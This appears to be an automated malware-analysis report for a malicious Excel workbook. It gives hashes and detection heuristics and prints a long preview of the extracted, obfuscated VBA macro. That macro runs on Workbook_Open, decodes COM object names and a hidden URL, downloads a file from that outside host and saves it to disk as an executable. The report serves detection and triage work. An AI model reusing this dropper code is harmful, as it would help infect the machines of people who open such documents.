Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 abe93be46df93fbc…

MALICIOUS

Office (OLE)

350.0 KB Created: 2018-06-08 10:56:06 Authoring application: Microsoft Excel First seen: 2019-05-16
MD5: 789b7c6ca3246cf01ad28634a588da14 SHA-1: e7bb77734ac0e30838a855ed90614e1d58c62467 SHA-256: abe93be46df93fbceb38cd0147a51ec88156d95147b214bdef785de8d06cc2d5
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The file contains obfuscated VBA macros designed to execute automatically upon opening the workbook. The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' indicates the macro downloads and saves a file to disk, likely a second-stage payload. The 'CreateObject' call, combined with obfuscation and execution sinks, strongly suggests the execution of this downloaded payload. The reconstructed string 'Scripting.FileSystemObject' is used to interact with the file system for saving the payload.

Heuristics 8

  • ClamAV: Xls.Malware.Emodldr-10058834-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Emodldr-10058834-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            eBfuuG = nDzIzLa.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set ZeAyda = CreateObject(CdjSM("sScnr$impHtpi)n[gv.%fniulyeDsXy%skt.epmPoGbWjme$cyth"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set ZeAyda = CreateObject(CdjSM("sScnr$impHtpi)n[gv.%fniulyeDsXy%skt.epmPoGbWjme$cyth"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 53837 bytes
SHA-256: 65739e405b46f092c233295b67a1ab79c72e615065aca201621e249980c42db0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
548 of 840 identifiers look randomly generated (e.g. 'BERKibOtppMtZsDejyeDeFUctvPcqEweiN') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
    Dim heLBmgaD As String
    yGKvL = UCase("XJT@!^Rv(fJHUQUhIVB")
    While nwBOmG < 31
        VeBLzsBe = StrReverse("sjx(^&ZLAz?J")
        fTiuiGlf = UCase("Sx?Ip^^Z-%$ffcuhIV")
        pisqxSpS = StrReverse("BEM@X@L-oks$BouQea")
        jqWTuHD = Left("z@thfdat-H^Mww?Kz", 5)
        RVHaRzui = Space(18)
        tpXEHoE = Right("ehphA)ghuQ(@d?bk", 4)
        nwBOmG = nwBOmG + 2
    Wend

    jqWTuHD = LTrim("Tf]WxSugUL(iiDpjkaJ(")
    VeBLzsBe = Right("qVMuK^aJlmwEU(sQjPw", 3)
    yGKvL = 829 + 515 + 1579
    jlcgzvd = 1019 - 1972 - 1394
    For ZTwjNX = 0 To 313
        jqWTuHD = 525 - 106 - 176
        jlcgzvd = 303 - 650 - 164
        RVHaRzui = Right("AO.@rQc %$(Hs", 4)
        jqWTuHD = UCase("DVG FTmRrh")
        jlcgzvd = Left("g&sM#E@R@*iE ^NPi", 4)
        jlcgzvd = RTrim("jyVCYpj@zJd")
        jlcgzvd = UCase("GK%aeGtLHqgdc&)v")
        RVHaRzui = UCase("bg[IRU%uHVbf*ap@S(QY")
        tpXEHoE = Space(3)
    Next ZTwjNX

    For gYegsA = 0 To 161
        tpXEHoE = UCase("OyCs[BHfJI^eIa")
        RVHaRzui = 924 - 1471 - 914
    Next gYegsA

    While fkfCVp < 212
        pisqxSpS = "fjBp_u&zBTiM(!J" + "BYl)jQBn)ZMxDB" + "cSW.PpbLsB^-AHQ%FO^x"
        jqWTuHD = Right("%D@aK.!ZQDAtHkYeT[G", 5)
        yGKvL = 1480 - 388 - 682
        fTiuiGlf = UCase("AkmXcv!Zey")
        fkfCVp = fkfCVp + 1
    Wend

    Set ZeAyda = CreateObject(CdjSM("sScnr$impHtpi)n[gv.%fniulyeDsXy%skt.epmPoGbWjme$cyth"))
    jlcgzvd = Right("q]Gt]M-orA E", 5)
    yGKvL = Left(" ZOFWG@IS rHWy$^", 5)
    jqWTuHD = Right("IsEtme-T f$K@z)p[p&W", 4)
    While YDbOSp < 293
        tpXEHoE = Left("a.LVPK*jx]yoiyS", 5)
        XyWinlqO = Right("ZL&zlhjA^m*^NxYP", 4)
        YDbOSp = YDbOSp + 3
    Wend

    For ssBqww = 0 To 333
        XyWinlqO = UCase("d?&L#WbUsMzAZ*k(S^")
        fTiuiGlf = UCase("F&hyubXbDCR")
        VeBLzsBe = 938 - 257 - 479
        jqWTuHD = "rXjrDdYYom" + "C)vdWXTD)F%SF^" + "mOn?v#wPfexb%Xctiu("
        pisqxSpS = Right("vXfh[b%QXw", 2)
        fTiuiGlf = StrReverse("GlN#&%Z[CH)YZzqh$")
        XyWinlqO = Left("Fp)LyHYR)YE(", 5)
    Next ssBqww

    VeBLzsBe = StrReverse("tvi%SqYvFmb!]")
    jlcgzvd = 694 - 1976 - 1158
    VeBLzsBe = LTrim("nC]_M!]Mrmta(Op&kJ")
    VeBLzsBe = LTrim("@*Wsz]pLkUMrgKDqVk ")
    bIfeEBJ = ZeAyda.GetSpecialFolder(1 + 1)
    RVHaRzui = LTrim("NWmcoN%pTeEkfBikUcjh")
    fTiuiGlf = Space(15)
    yGKvL = 1353 - 1340 - 1962
    VeBLzsBe = 199 - 972 - 1749
    tpXEHoE = 507 + 917 + 1254
    RVHaRzui = RTrim("ed_p*sRvYk")
    VeBLzsBe = "DP-&-NekLvUF^UGXV@Q" + "&cHni^dsJ@" + "KJh-GSU?a)%knu"
    RVHaRzui = Right("[J#Ky*seB@[WlM]mofH", 5)
    VeBLzsBe = Left("&_&hab))-si*GWYOg", 4)
    heLBmgaD = StrReverse("nePxFeX.SXHRUxnrBiaWcJ")
    jlcgzvd = RTrim("WtiCB[eLhJe[ez")
    yGKvL = Left("H$q@XUtzWuy%", 5)
    fTiuiGlf = 697 - 1956 - 717
    yGKvL = Space(16)
    XyWinlqO = RTrim("nl!oZtTyKfh]")
    For JPawkt = 0 To 304
        jqWTuHD = Space(19)
        jqWTuHD = LTrim("SbnlCQnF BLu$fh")
        tpXEHoE = Left("oYm.hEJyAXK*(", 3)
        VeBLzsBe = StrReverse(".#@vbeoSdrQhWD")
        VeBLzsBe = "uWgAhaU_JJj)&pk" + "QEQvd[&)V@qNZ?Jvuj" + "#*gr*fbeQfu)."
        XyWinlqO = 236 + 1872 + 287
    Next JPawkt

    jqWTuHD = 824 - 1748 - 784
    pisqxSpS = UCase("e[oOPvUyeyp)X")
    For YUvLgy = 0 To 213
        VeBLzsBe = RTrim("SFMjE*^toYjjb)AT")
        jqWTuHD = "X(Wf]_%oNzbJ_FyDM" + "vBbennLP%ta ._" + "N*_emo.aw!N"
        fTiuiGlf = "bwJ^myREQ#xCwd*^" + "MlAMw!lNTeHzbXiD" + "lJ?lzCQa#FLxsvY!i"
    Next YUvLgy

    RVHaRzui = Space(14)
    fTiuiGlf = StrReverse("&ggc?dCTY(")
    While rLUYmh < 113
        VeBLzsBe = Space(6)
        jlcgzvd = StrReverse("c*PLH&i!xO)hNC*wvZ")
        XyWinlqO = Space(9)
        VeBLzsBe = RTrim("-rBX%Z@Umr-Hp?ikh!")
        fTiuiGlf = LTrim("s[v]P%cJkC)LPlocy.Fw")
        XyWinlqO = Left("dVt_CsvoikBV[J", 4)
        pisqxSpS = 1216 + 150 + 1307
        RVHaRzui = Space(6)
        rLUYmh = rLUYmh + 3
    Wend

    pisqxSpS = StrReverse("VswcCXBRTWxHALFsR^")
    While HeJpgU < 62
        tpXEHoE = StrReverse("HMd%TeC$qCN)RWdF")
        XyWinlqO = LTrim("D&DCmYvT&waLO!kLbP")
        yGKvL = LTrim("KY%isPkYkkv")
        fTiuiGlf = 1038 - 289 - 810
        jqWTuHD = UCase("vY-*hV*Kp.]gptmH?[OF")
        jlcgzvd = StrReverse("-_KdPTQuJ)KzBVg?uX_-")
        HeJpgU = HeJpgU + 3
    Wend

    pisqxSpS = Space(6)
    yGKvL = Left("@NTVSoF_UI.OUx", 4)
    XyWinlqO = 545 + 1501 + 156
    yGKvL = UCase("uu@WKIEG#U_IjHEWwR^B")
    While fOfHgn < 375
        pisqxSpS = 813 - 541 - 435
        yGKvL = 1939 + 1495 + 1871
        pisqxSpS = 285 - 1913 - 1154
        yGKvL = UCase("P)kL t?**kxYSU!L")
        VeBLzsBe = RTrim("*vUeX?.aqX-")
        pisqxSpS = 1386 + 965 + 627
        XyWinlqO = UCase("JYuobd(HLJH")
        fOfHgn = fOfHgn + 1
    Wend

    fTiuiGlf = LTrim("LQYqaat!_SsP")
    While iVuvHr < 90
        yGKvL = RTrim("gBMQ^VK@ZR_$vo@D[OsZ")
        jlcgzvd = Space(13)
        jqWTuHD = Right("I]wbci!_NRy-", 3)
        RVHaRzui = StrReverse(".a_XGMMswdpdvFLWFmLU")
        VeBLzsBe = Right("IzNtIPYZu(%dty*dxi", 5)
        fTiuiGlf = Space(2)
        VeBLzsBe = RTrim("PK-bLiJED^!a[Oub")
        yGKvL = "PMKo*Otl]VSG&INnTbo" + "hLJ![TP(*x@iV]BwolgX" + "kOVHahEoC^xU!XU"
        pisqxSpS = "v#iboU?BWR" + "l!KUT)[kdoOVHnD" + "Q[O^MQiuZe!o^"
        iVuvHr = iVuvHr + 2
    Wend

    jqWTuHD = Space(20)
    yGKvL = UCase("Q LQVv&Z)p")
    RVHaRzui = LTrim("-?dULT*nD-]PAIrANhg")
    jqWTuHD = UCase("ikAMJvROhNx&%UfoZNFV")
    Dim nDzIzLa, tiMrFyy As Object
    For thTzUY = 0 To 12
        jqWTuHD = UCase("*pbVFDm-vDr@IhO")
        RVHaRzui = StrReverse("qoh#jYYvaxCeH-kUq")
        RVHaRzui = UCase("YbjRE!lVFsQNg#")
        pisqxSpS = 1828 + 286 + 450
    Next thTzUY

    jqWTuHD = Space(4)
    jlcgzvd = Left("bbd!yW^gAE?^DzFuz", 2)
    tpXEHoE = StrReverse("UOGnfO. fJJwZJCR")
    pisqxSpS = Space(1)
    For nQtpcc = 0 To 162
        VeBLzsBe = StrReverse("rHBi%%s_%YVNMfAf._")
        jlcgzvd = Right("?nRwn$_x!pw-T-qQw", 2)
        jqWTuHD = UCase("lDAND-EbWuvE")
        VeBLzsBe = 247 + 392 + 838
    Next nQtpcc

    XyWinlqO = StrReverse("CSMn$B_NtF]bpCOjJs")
    yGKvL = Left("CThUGMQIuVXfof", 5)
    Set nDzIzLa = CreateObject(CdjSM("Msipczroo.s%oEfVtD.IXSMaLjHeTrTqP_"))
    fTiuiGlf = Right("zwtoXTyBE_(lUqYF", 4)
    tpXEHoE = 1691 + 1151 + 1562
    jqWTuHD = Left("NofFulWbcNLmznIJcBA", 4)
    jlcgzvd = RTrim("qPa[NEcy_tGpZq")
    XyWinlqO = Left("w!Zqy#*IFODKqv", 5)
    tpXEHoE = 1000 + 1677 + 166
    While SSVnmi < 16
        jlcgzvd = UCase("(m[z-Xf-z#yE")
        RVHaRzui = 149 - 1917 - 840
        XyWinlqO = 265 + 1225 + 1287
        pisqxSpS = UCase("#BZhoNgVvByv^")
        VeBLzsBe = 161 - 549 - 1730
        XyWinlqO = RTrim("Wp?%ynb_dL*THi(.Cz$Y")
        VeBLzsBe = Left("[]VsD]r$nsS_kDAB]zW", 3)
        XyWinlqO = 946 + 842 + 488
        tpXEHoE = RTrim("cQ%hpJaGi-sz")
        SSVnmi = SSVnmi + 3
    Wend

    jlcgzvd = LTrim("usKuttJXQb[Oj)w^x")
    fbVwnm = CdjSM("hxtYtppQ:W/@/RwUw^w*.SlUanbZeolnpLr)iinWtT.?caas/XwHpH-scHobn@tPe?notP/Bu!p]looZaUd[sK/!2A0$1 3D/umom!xRaY.qeXxYee")
    tpXEHoE = LTrim("EmQy)PZBiA")
    RVHaRzui = "e.-QVYx_^UmUxD^l" + "uc$cigqM@D&" + "@R]jbQFUpAXfmcSC]"
    tpXEHoE = 1278 + 314 + 1539
    VeBLzsBe = UCase("D&]@k@@mrYcAx]E#Z")
    RVHaRzui = Left("##oiQH]huGO.OwNn", 3)
    RVHaRzui = StrReverse("rUr^*O@bTRvuTB)")
    nDzIzLa.Open "GET", fbVwnm, False
    VeBLzsBe = Left("va_b#oJlh^cZ)E", 2)
    jlcgzvd = RTrim("H$ZYvNvdlVOH-oIJW")
    For HyAEUb = 0 To 108
        VeBLzsBe = "?loNFqQFZ!" + "..*hd_stdD!&b" + "hCY][-- W#%cmGJbyX"
        jlcgzvd = StrReverse("UX-I-#^IyEZC&^o.Ns")
        fTiuiGlf = 108 + 1798 + 1859
        jqWTuHD = 1780 - 921 - 1513
        XyWinlqO = Left("bF?CPKIFupdc*", 5)
        tpXEHoE = Space(10)
        pisqxSpS = StrReverse("m&CqksoGQ?R")
        jqWTuHD = 1798 - 840 - 1924
        VeBLzsBe = Right("]KHevLp$Y$*", 4)
    Next HyAEUb

    While zqDoCm < 344
        XyWinlqO = RTrim("TP fQgTyczs&sevEEo&h")
        XyWinlqO = Space(20)
        jqWTuHD = Left("U&k($?zrQiL]Z", 4)
        XyWinlqO = "AZFwGMQ#KlydZ" + "Dz MRFWNYar R" + "%WG)W@@@(gd U"
        VeBLzsBe = UCase("HznvxxtgRJpXm")
        jlcgzvd = Right("J^b.f^NbfXbsPLo(T@", 2)
        VeBLzsBe = LTrim("H#jk$) TDGt(@Ghfknv")
        VeBLzsBe = 1224 - 1196 - 1932
        VeBLzsBe = Left("CfDM@S)D#[*lZ^*D^r", 5)
        zqDoCm = zqDoCm + 2
    Wend

    jqWTuHD = Right("KPmnOFr-xU#", 5)
    jlcgzvd = UCase("YA%WVoX^PR")
    fTiuiGlf = 1554 - 645 - 1751
    RVHaRzui = Right("QsV!%Y^qXLLGoWJ", 2)
    yGKvL = StrReverse("w(OsQRp$r(&ST*JQ!.")
    nDzIzLa.send
    jlcgzvd = Left("* Dxn*rm@S", 2)
    For kvCGUj = 0 To 393
        fTiuiGlf = Right("Bx]KFU Gg(pZz", 5)
        yGKvL = RTrim("*ZKaQt)&umllR!AU?")
        tpXEHoE = Right("JR A$Cz^e&su", 2)
        fTiuiGlf = 372 - 569 - 1516
        tpXEHoE = RTrim("fZjp#]TYylWAdWIaJ")
        VeBLzsBe = Space(14)
        XyWinlqO = UCase("v^RVayW?]OClCm")
        XyWinlqO = 1708 - 636 - 135
        fTiuiGlf = Left("rO^_BRgqsgX.f[Hr", 3)
    Next kvCGUj

    jlcgzvd = UCase("U^VGfbqC@Pb")
    XyWinlqO = Right("nTYejyCdCu]HmoT)Y", 2)
    For pFnAYN = 0 To 164
        yGKvL = UCase("O@sgjoe]&FLBxxP)")
        yGKvL = Right("GFfU)r^sV?ii", 2)
        tpXEHoE = Space(6)
        jqWTuHD = Left("jp)XJW!&ZN", 5)
        yGKvL = StrReverse("OnOzSKX@hA)bZ?ZABir")
        RVHaRzui = 815 + 348 + 1949
        VeBLzsBe = Space(18)
    Next pFnAYN

    For zIeRjZ = 0 To 210
        yGKvL = RTrim("Gc^Ykcx$Qbv_i")
        tpXEHoE = Right("TYZGzSCpZS eQpVKar", 5)
        tpXEHoE = 1445 + 1509 + 1577
        jlcgzvd = StrReverse("j#E_?jK% Z")
        yGKvL = RTrim("]sOSio]^*pEJl-ce")
        jlcgzvd = 1819 - 1427 - 740
        VeBLzsBe = LTrim("WGjG!E?wfPOFL]%UzoC")
        RVHaRzui = LTrim("KpyV * AK*UwIYPLr&")
        jlcgzvd = StrReverse("T?WPEaoTU)s#")
    Next zIeRjZ

    For UhAbmV = 0 To 68
        fTiuiGlf = 450 - 442 - 207
        jqWTuHD = Left("Wr?Q..X.kv", 4)
        RVHaRzui = 1701 - 215 - 1489
        VeBLzsBe = Right("?F#xbht)o)mkMUR-t$Z", 3)
        jlcgzvd = LTrim("%C[YzM_t^a U?_V*)")
        jlcgzvd = Left("JueUjqksU(KsY _&icW[", 5)
        fTiuiGlf = LTrim("#&_uXGhHAQ)fTf)MKFh")
        tpXEHoE = UCase("euatmkwrL R)b%]#$")
        fTiuiGlf = UCase("YTDe&oJWIaAtsFA.Rli")
    Next UhAbmV

    RVHaRzui = LTrim("f[-Vd?IN-@@awMbQoXux")
    While YvgLZH < 39
        VeBLzsBe = UCase("DsE--$ kieg]Fn!")
        jqWTuHD = RTrim("H@LVYhHMJyfq")
        pisqxSpS = "#C!OpHRnAq%kEv" + "RQ#UCbpMxIiFDNms" + "kRdU-)FthGl(IVZwvC(b"
        VeBLzsBe = 584 + 155 + 1168
        yGKvL = 1843 - 995 - 132
        jqWTuHD = Space(14)
        jlcgzvd = LTrim("n%%Gf*JB?@vQb")
        yGKvL = StrReverse("IMa^B?fUWoP*_Z?QN")
        YvgLZH = YvgLZH + 1
    Wend

    VeBLzsBe = RTrim("so&Qn)HS&Vj")
    If nDzIzLa.Status = 202 - 2 Then
    fTiuiGlf = Space(13)
    yGKvL = RTrim("^pEFxBpAjmNB_P#fHW*")
    tpXEHoE = "f]$_L?)[xiN" + "$.eM.G)tNYMZ" + "!CA*wEHzBSHl&[VGjSz"
    RVHaRzui = LTrim("*y@T %VKij!W]")
    jlcgzvd = LTrim("YaHfBFKF].Rkh_gmMD")
    jqWTuHD = RTrim("cifU$u-HIHt#C%FfS")
    tpXEHoE = RTrim("#-&NtbaBJuakuL%Nzj^B")
    jqWTuHD = Space(6)
    yGKvL = 593 - 1698 - 1747
    RVHaRzui = Right("pLvB.X #h]p]", 4)
        Set tiMrFyy = CreateObject(CdjSM("ACDfOaD)BT.bSUtrrOeHaBmw"))
    jlcgzvd = Right("l*MyWK ZJ)^? G", 3)
    XyWinlqO = StrReverse("Q&PwYHkZm)")
    jlcgzvd = Space(2)
    VeBLzsBe = 756 + 776 + 1075
    For SbFKKS = 0 To 70
        VeBLzsBe = 333 + 1735 + 1940
        jlcgzvd = Right("$F*IMz%oS_jLcjs^A-UZ", 4)
        fTiuiGlf = Space(17)
    Next SbFKKS

    yGKvL = RTrim("LuBLUvjYDUuQ")
    RVHaRzui = LTrim(")ui#cq(BcsN%HYpMNI")
    VeBLzsBe = Left("TwOHwoSeNGtNO?", 4)
    jqWTuHD = RTrim(".fAY-ghTUu@SOc_")
        tiMrFyy.Open
    jlcgzvd = 1616 - 1816 - 1467
    jqWTuHD = 892 + 1539 + 1511
    RVHaRzui = LTrim(".YlCGV$_)RfS@gZp^[")
    XyWinlqO = "j]dW$FpoylOlm." + "Dw.rzN$MtCelF_fG" + "]qHb^jHcK]"
    For fbwiwa = 0 To 144
        RVHaRzui = "[b%oj]H..![sLvF" + "NN lNZbqCFETYQI" + "zAx@Hje&cR_hZq*"
        RVHaRzui = Left(".YVr&Ap[rtMcXVc", 5)
        XyWinlqO = StrReverse("iz[gL!BK_@[xqy.Q^PT")
    Next fbwiwa

        tiMrFyy.Type = 2 - 1
    While NwkYZE < 326
        tpXEHoE = 2000 + 243 + 290
        yGKvL = Right("O?RBsRDClTq$ftFC(", 3)
        jqWTuHD = 122 + 582 + 1367
        XyWinlqO = Left("kFmbhb$jjpq(zi(vzYvL", 4)
        fTiuiGlf = 1143 + 951 + 1323
        fTiuiGlf = Left("VPt%Ky_NNqVgOL%s", 5)
        RVHaRzui = Space(17)
        VeBLzsBe = 1107 - 200 - 1567
        NwkYZE = NwkYZE + 2
    Wend

    pisqxSpS = Space(13)
    fTiuiGlf = StrReverse("aCa!LJj?bUOIiNr")
    While IVmNYJ < 166
        fTiuiGlf = 1929 - 486 - 1599
        yGKvL = Right("$jxbFtPip!IFb%ffV%MM", 4)
        XyWinlqO = Space(4)
        yGKvL = 1125 + 1398 + 1362
        XyWinlqO = StrReverse("QYV@#Ht*ZYc")
        jlcgzvd = 477 - 1806 - 821
        yGKvL = Left("Em?xXCpOwActgCk@&WIU", 5)
        fTiuiGlf = UCase("Ju!rf_^xXABjmT")
        fTiuiGlf = 1888 + 435 + 1345
        fTiuiGlf = RTrim("[MzkoosuyHJg#ApP f")
        IVmNYJ = IVmNYJ + 1
    Wend

    pisqxSpS = UCase("?#nfP-SOIl(J!")
    For DQEuTu = 0 To 146
        XyWinlqO = RTrim("*nrIp.FlSX$FeRn?H")
        RVHaRzui = UCase("PEkonxtejVDLu&]NH")
        fTiuiGlf = "sz)Oz*bHzynokU)-P" + "hDXwYu-JDppg" + "Y]qjU.?b?Px^v)eo-"
    Next DQEuTu

    VeBLzsBe = StrReverse("znTefIflVu")
    For nJOJqM = 0 To 400
        fTiuiGlf = 1792 - 1481 - 130
        VeBLzsBe = RTrim("kldBIjOtkzWj")
        VeBLzsBe = Right("&*AUT^qoIeT(mh", 5)
        XyWinlqO = StrReverse("atX*c^nrx[[uvl%Q")
        RVHaRzui = Left("*LqnRS-IwI@cc$", 2)
        jqWTuHD = 746 + 515 + 192
        VeBLzsBe = "XpEYmXquS(%-%$qVr" + ".Gus&WdY chewA" + "ytTB_$lybQPDyK"
    Next nJOJqM

    pisqxSpS = UCase("dDTDST&Wf^Ow")
        eBfuuG = nDzIzLa.responseBody
    tpXEHoE = UCase("U!$Xy-YNLQTMHL*Lc(GF")
    jqWTuHD = StrReverse("s&XYl[c]ovPe*wH-")
    RVHaRzui = StrReverse("U!o[MO@vdO")
    yGKvL = Space(18)
    fTiuiGlf = Left("?.rBtmy]I&]QK[ea#", 3)
    XyWinlqO = 1163 - 302 - 1870
    pisqxSpS = StrReverse("Wq?r&h(n*KgQ")
    For yBtDLX = 0 To 201
        VeBLzsBe = Right("dS)NsmgHBQ&v", 3)
        jqWTuHD = Right("MXyvbqgcz(kM", 5)
        jlcgzvd = 867 + 485 + 1910
        RVHaRzui = Space(13)
        XyWinlqO = StrReverse("sy)AkdKe?UqW")
        fTiuiGlf = 932 - 1293 - 1963
        yGKvL = StrReverse("GAgOYk^YfEpB]a")
    Next yBtDLX

        tiMrFyy.Write eBfuuG
    jqWTuHD = Space(16)
    jlcgzvd = UCase("Qd)If ]krN)e!!HvLFwT")
    While DSVxec < 231
        fTiuiGlf = Space(8)
        pisqxSpS = "DjwDNcF.H$^Oq&It*vM" + "kCYUYor-LrOIh%QxF" + "N?KZew@fEoDme"
        fTiuiGlf = "BQVgbyTajZn" + "?^&ZHMihskd_N%i)" + "PkiHoGn&dHi]j"
        XyWinlqO = 664 + 1667 + 1816
        fTiuiGlf = Right("&v#K!oEhrbM", 3)
        DSVxec = DSVxec + 1
    Wend

    For UKUimK = 0 To 115
        VeBLzsBe = 559 - 1676 - 341
        jqWTuHD = 563 + 508 + 1495
        yGKvL = Space(11)
        fTiuiGlf = Right("e@mGwDfwMMl*", 3)
        jqWTuHD = LTrim("@-pF-gBwnQ#kEExRYy")
        VeBLzsBe = 519 - 1481 - 209
        jqWTuHD = StrReverse("^JFilK.Xd)%t")
    Next UKUimK

    jqWTuHD = Left("cdavQgYDj_t*u", 3)
        Dim yuMnH As Object
    fTiuiGlf = RTrim("*eIg.*UPLT&e")
    While WAJTXb < 323
        jlcgzvd = LTrim("]H%*ekSXtQzaO]$")
        yGKvL = RTrim("D!PwFUWRM-]t")
        XyWinlqO = Space(15)
        XyWinlqO = Right("_RDli$HNa@ _PkKes", 2)
        fTiuiGlf = StrReverse("M(.&?Zgg.d*#r&H")
        VeBLzsBe = "Ud!*[RH*EMTkkTC!" + "yQq$cbmX%BXPzUoMj]Zy" + "F*$vPYXH?zkWUQ"
        RVHaRzui = "Qqt]#.PWJg" + "bweqMS_pKGz*b" + "eADVIFMZQhBzqRK"
        fTiuiGlf = UCase("qsSbqv]z%hkP(d[k(N")
        tpXEHoE = RTrim("F%fSyv!d^EOT")
        fTiuiGlf = UCase("tNN*F.YtMFNoQzMTrE")
        WAJTXb = WAJTXb + 3
    Wend

    For bJnEiO = 0 To 145
        VeBLzsBe = "&mQ[XZ zZNPy" + "KYKLIIT^sYJA.EECOM" + "dN?m?J[xO%JWKbSVJXUH"
        RVHaRzui = Left("Xuoc*Z(vrdke [bnq", 4)
        RVHaRzui = RTrim("@Kz%bypl-)")
        yGKvL = Right("a ts&%faNy&k", 5)
        tpXEHoE = Space(11)
        RVHaRzui = Right("kHWu  KaDGucbJ", 2)
    Next bJnEiO

    tpXEHoE = Left("kEZD(xdBaO*oPGBxf", 5)
    jqWTuHD = UCase("WE$wgZ@R)A?JnL")
    jqWTuHD = Space(3)
    RVHaRzui = StrReverse("NHjBT(nDj$")
    While MmuktH < 203
        fTiuiGlf = 1181 + 639 + 1097
        tpXEHoE = "$HXK-kzxji" + "&pGYeUfr&Q" + "cSOZRBkIk-?ZiiUI"
        RVHaRzui = Space(4)
        MmuktH = MmuktH + 1
    Wend

        Set yuMnH = CreateObject(CdjSM("sScXrTihpVt#iXnkg?.qf[i^lPeSs-y(satVewmgoUbAjpe)cotD"))
    fTiuiGlf = Right("rbEBo(KH[()v_M ", 5)
    For ReJSzg = 0 To 117
        RVHaRzui = Left("TtsYAonqHra^Fb(r)", 3)
        jlcgzvd = Right("Ki((afLZKY_#", 3)
        jqWTuHD = "eX*T[Gm$ZWa_haexaOKT" + "v$JpXM-JtGuZVjRTM?]" + "#[?rexyAqioDKydKBeu"
    Next ReJSzg

    VeBLzsBe = Right("wFOs*)fnc)z_iy", 4)
    jlcgzvd = Left("lk* UU#qcAt?uj", 5)
    For UiObbn = 0 To 125
        XyWinlqO = "x)l$YTn#T?mS@)@g]^CQ" + "hxItrxvKE.((^^^G._" + "fy^BXe ))-Gs %"
        yGKvL = 787 + 1388 + 372
        yGKvL = RTrim("xC^zgfZtlZhOGX")
        jlcgzvd = RTrim("bO%&s@h]C#gW#?ORET")
    Next UiObbn

        xbBTMPL = yuMnH.GetSpecialFolder(6 - 4)
    fTiuiGlf = "ztFyGCOCnkiTiD" + "rhunh kYGYdAHGUY" + "dcYEZTjvWNeESEm"
    VeBLzsBe = StrReverse("FgxC]ofR^(c!jWODU@B")
    pisqxSpS = Right("qZZGXZ$pg^H", 3)
    jlcgzvd = 1682 - 1922 - 1406
    pisqxSpS = UCase("TJtP%EQ%)n")
    RVHaRzui = RTrim("jTFz#iYVB-Y")
        Call tiMrFyy.SaveToFile(xbBTMPL & "\\" & CdjSM("JTWkiorAxvRMX(.Xe@xpea"), 2)
    yGKvL = Right("bX^Yd%$z?Gc*CU-SCt", 3)
    jqWTuHD = 988 + 1351 + 1829
    tpXEHoE = RTrim("HPpLa $UpiuHjY-F#")
    fTiuiGlf = 162 + 1267 + 837
    pisqxSpS = LTrim("FQBk&@dNTju$l#")
        tiMrFyy.Close
    jlcgzvd = LTrim("kY-nYZcV znrAwq")
    jlcgzvd = UCase("&$aQhNlUURq")
    RVHaRzui = Left("YyImi^yejG", 4)
    VeBLzsBe = Left("_PS@I$.!bLzNQwAu@ZC[", 4)
    jlcgzvd = 683 + 630 + 1057
    RVHaRzui = 1551 + 617 + 1564
    pisqxSpS = UCase("b_zG]FvjvOWKOzvmDD(")
    jqWTuHD = Right("dNRiMXUcYuDw", 2)
    End If
    While sdOFpI < 198
        pisqxSpS = 1484 - 1979 - 739
        VeBLzsBe = Right("iW]aAR]TZ#Si", 3)
        sdOFpI = sdOFpI + 2
    Wend

    For HLWPIf = 0 To 357
        jlcgzvd = Space(10)
        VeBLzsBe = RTrim("c%KL#eLT@cRRfr")
        jqWTuHD = Right("apCtzy(F_trPBBs", 4)
        pisqxSpS = "QpfUWAODAVKxL[-A" + "SmZv-n-!tv%io$" + "xuuMZp(.YV$vmmEnzDQ"
        XyWinlqO = Left("wyuao@Oqra&_", 2)
        VeBLzsBe = 162 - 1284 - 1147
        pisqxSpS = Space(9)
        RVHaRzui = RTrim("ZpbYo&nc[c")
    Next HLWPIf

    While erGLjb < 72
        yGKvL = RTrim("V&Jo_wMEseyQ*M[L")
        tpXEHoE = 1440 - 487 - 339
        jlcgzvd = RTrim("VW^eGyD^a**rUWNvJ")
        tpXEHoE = RTrim("P(OnH#K#ZmusuoVUD")
        RVHaRzui = RTrim("jweyLVGEl.h*up[U#GmF")
        VeBLzsBe = Left("V]e-EDiPM%RWSgTc]v", 5)
        VeBLzsBe = 1279 - 1126 - 372
        jqWTuHD = "h%R]mgOHjRxhg" + "$rZicC@-ysWWOt" + "p!xHNpbSqQ@egfhvB)(c"
        VeBLzsBe = StrReverse("lG)kqoi?z[?ZRwY")
        erGLjb = erGLjb + 2
    Wend

